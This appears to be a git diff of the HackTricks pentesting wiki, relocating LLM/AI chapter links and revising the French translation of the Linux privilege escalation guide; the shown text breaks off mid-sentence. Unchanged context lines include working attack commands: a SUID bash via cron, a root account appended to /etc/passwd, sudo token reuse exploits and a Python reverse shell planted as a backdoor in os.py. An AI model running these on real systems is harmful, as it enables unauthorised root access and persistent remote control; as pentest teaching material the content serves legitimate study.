diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4e7b0adb5..0bfdeb3af 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -793,6 +793,29 @@ - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md) +# 🤖 AI +- [AI Security](AI/README.md) + - [AI Security Methodology](AI/AI-Deep-Learning.md) + - [AI MCP Security](AI/AI-MCP-Servers.md) + - [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md) + - [AI Models RCE](AI/AI-Models-RCE.md) + - [AI Prompts](AI/AI-Prompts.md) + - [AI Risk Frameworks](AI/AI-Risk-Frameworks.md) + - [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md) + - [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md) + - [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md) + - [LLM Training](AI/AI-llm-architecture/README.md) + - [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md) + - [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md) + - [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md) + - [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md) + - [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md) + - [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md) + - [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md) + - [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md) + - [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md) + - [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md) + # 🔩 Reversing - [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) @@ -850,17 +873,6 @@ - [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md) - [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) - [Test LLMs](todo/test-llms.md) -- [LLM Training](todo/llm-training-data-preparation/README.md) - - [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md) - - [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md) - - [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md) - - [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md) - - [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md) - - [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md) - - [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md) - - [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md) - - [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md) - - [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md) - [Burp Suite](todo/burp-suite.md) - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 51158b67b..60f9a25d1 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,4 +1,4 @@ -# Escalade de privilèges Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### Infos sur le système d'exploitation -Commençons à acquérir des connaissances sur le système d'exploitation en cours d'exécution +Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -150,7 +150,7 @@ Vérifiez également si **un compilateur est installé**. Cela est utile si vous ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Il pourrait y avoir une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\ +Vérifiez la **version des paquets et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. +Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem **expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -290,14 +290,14 @@ strings *.dump | grep -i password L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. -| Fonctionnalité | Nom du Processus | -| --------------------------------------------------- | --------------------- | -| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connexions FTP Actives) | vsftpd | -| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 | -| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: | +| Fonctionnalité | Nom du Processus | +| ------------------------------------------------- | -------------------- | +| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Connexions FTP Actives) | vsftpd | +| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 | +| OpenSSH (Sessions SSH Actives - Utilisation de Sudo)| sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys ``` **Si le caractère générique est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -Lisez la page suivante pour plus d'astuces d'exploitation de caractères génériques : +Lisez la page suivante pour plus d'astuces d'exploitation des caractères génériques : {{#ref}} wildcards-spare-tricks.md @@ -356,13 +356,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de lien symbolique vers un autre** servant un script contrôlé par vous. +Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous. ```bash ln -d -s ``` ### Tâches cron fréquentes -Vous pouvez surveiller les processus pour rechercher des processus qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en profiter et élever les privilèges. +Vous pouvez surveiller les processus pour rechercher des processus qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être que vous pouvez en profiter et élever vos privilèges. Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus, vous pouvez faire : ```bash @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Tâches cron invisibles -Il est possible de créer une tâche cron **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et la tâche cron fonctionnera. Exemple (notez le caractère de retour chariot) : +Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot) : ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,12 +380,12 @@ Il est possible de créer une tâche cron **en mettant un retour chariot après ### Fichiers _.service_ modifiables -Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine redémarre).\ +Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\ Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** ### Binaires de service modifiables -Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les remplacer par des backdoors, de sorte que lorsque les services sont réexécutés, les backdoors seront exécutées. +Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les changer pour des backdoors afin que lorsque les services soient ré-exécutés, les backdoors soient exécutées. ### systemd PATH - Chemins relatifs @@ -393,7 +393,7 @@ Vous pouvez voir le PATH utilisé par **systemd** avec : ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** tels que : +Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -405,26 +405,26 @@ Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin ## **Timers** -Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone. +Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers `**.service**` ou les événements. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone. Vous pouvez énumérer tous les timers avec : ```bash systemctl list-timers --all ``` -### Minuteries modifiables +### Timers modifiables -Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains existants de systemd.unit (comme un `.service` ou un `.target`) ```bash Unit=backdoor.service ``` Dans la documentation, vous pouvez lire ce qu'est l'unité : -> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité de minuteur soient nommés de manière identique, sauf pour le suffixe. +> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe. Par conséquent, pour abuser de cette permission, vous devez : - Trouver une unité systemd (comme un `.service`) qui **exécute un binaire modifiable** -- Trouver une unité systemd qui **exécute un chemin relatif** et pour laquelle vous avez **des privilèges d'écriture** sur le **PATH systemd** (pour usurper cet exécutable) +- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez **des privilèges d'écriture** sur le **PATH systemd** (pour usurper cet exécutable) **En savoir plus sur les minuteurs avec `man systemd.timer`.** @@ -439,7 +439,7 @@ Notez que le **timer** est **activé** en créant un lien symbolique vers celui- ## Sockets -Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateur et sont configurés via des fichiers `.socket`. +Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. Les sockets peuvent être configurés à l'aide de fichiers `.socket`. @@ -489,9 +489,9 @@ Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer ### Socket Docker Écrivable -Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. +Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le CLI Docker n'est pas disponible. -#### **Élévation de Privilèges avec Docker CLI** +#### **Élévation de Privilèges avec le CLI Docker** Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes : ```bash @@ -564,7 +564,7 @@ runc-privilege-escalation.md D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications. -Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. En outre, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de services et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes. +Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de services et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes. D-Bus fonctionne sur un **modèle d'autorisation/refus**, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions. @@ -621,7 +621,7 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave ``` ### Sniffing -Vérifiez si vous pouvez intercepter le trafic. Si c'est le cas, vous pourriez être en mesure de récupérer des identifiants. +Vérifiez si vous pouvez intercepter le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants. ``` timeout 1 tcpdump ``` @@ -784,7 +784,7 @@ La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec des exécutables **suid/sgid**, le système impose certaines conditions : -- Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). +- Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). - Pour les exécutables avec suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées. L'escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. @@ -834,7 +834,7 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### Binaire SUID – injection .so +### SUID Binaire – injection .so Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash @@ -922,7 +922,7 @@ Conditions pour élever les privilèges : - Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" - "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans introduire de mot de passe) - `cat /proc/sys/kernel/yama/ptrace_scope` est 0 -- `gdb` est accessible (vous devez pouvoir le télécharger) +- `gdb` est accessible (vous pouvez être en mesure de le télécharger) (Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier de manière permanente en modifiant `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) @@ -939,14 +939,14 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo** +- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\ +Si vous avez **des permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) pour **créer un token sudo pour un utilisateur et un PID**.\ Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser @@ -1006,8 +1006,8 @@ Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configu Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où **les bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**. -Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\ -Jetez un œil à **comment exploiter cette mauvaise configuration** sur la page suivante : +Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\ +Jetez un œil à **comment exploiter cette mauvaise configuration** dans la page suivante : {{#ref}} ld.so.conf-example.md @@ -1048,7 +1048,7 @@ execve(file,argv,0); ``` ## Capacités -Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela divise effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette manière, l'ensemble des privilèges est réduit, diminuant les risques d'exploitation.\ +Les capacités Linux fournissent un **sous-ensemble des privilèges root disponibles à un processus**. Cela divise effectivement les **privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette manière, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.\ Lisez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : {{#ref}} @@ -1062,7 +1062,7 @@ Le bit **"lire"** implique que l'utilisateur peut **lister** les **fichiers**, e ## ACLs -Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou aux répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de **remplacer les permissions traditionnelles ugo/rwx**. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de **granularité assure une gestion d'accès plus précise**. Des détails supplémentaires peuvent être trouvés [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Donner** à l'utilisateur "kali" des permissions de lecture et d'écriture sur un fichier : ```bash @@ -1143,11 +1143,11 @@ Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est ### AuthorizedKeysFile -Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : +Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (commençant par `/`) ou **des chemins relatifs depuis le répertoire personnel de l'utilisateur**. Par exemple : ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la **clé privée** de l'utilisateur "**testusername**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la **clé privée** de l'utilisateur "**testusername**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding @@ -1158,7 +1158,7 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : Host example.com ForwardAgent yes ``` -Remarque : si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité). +Remarque que si `Host` est `*`, chaque fois que l'utilisateur passe à une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité). Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\ Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser). @@ -1177,7 +1177,7 @@ Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scri ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si un script de profil étrange est trouvé, vous devez vérifier s'il contient des **détails sensibles**. +Si un script de profil étrange est trouvé, vous devez le vérifier pour **des détails sensibles**. ### Fichiers Passwd/Shadow @@ -1204,7 +1204,7 @@ Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Par exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` @@ -1214,7 +1214,7 @@ AVERTISSEMENT : vous pourriez dégrader la sécurité actuelle de la machine. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`. +NOTE: Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus, `/etc/shadow` est renommé en `/etc/spwd.db`. Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash @@ -1292,7 +1292,7 @@ Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalati ### Journaux Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver **des informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\ -De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +De plus, certains journaux d'**audit** mal configurés (backdoorés ?) peuvent vous permettre de **enregistrer des mots de passe** à l'intérieur des journaux d'audit comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1319,7 +1319,7 @@ Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéress ### Détournement de bibliothèque Python -Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier des bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : ```python @@ -1329,20 +1329,20 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant **des permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, en particulier dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. -> [!NOTE] +> [!TIP] > Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en substituant les journaux par des liens symboliques. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx),** donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever les privilèges en substituant les journaux par des liens symboliques. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Référence de vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un existant, alors votre **système 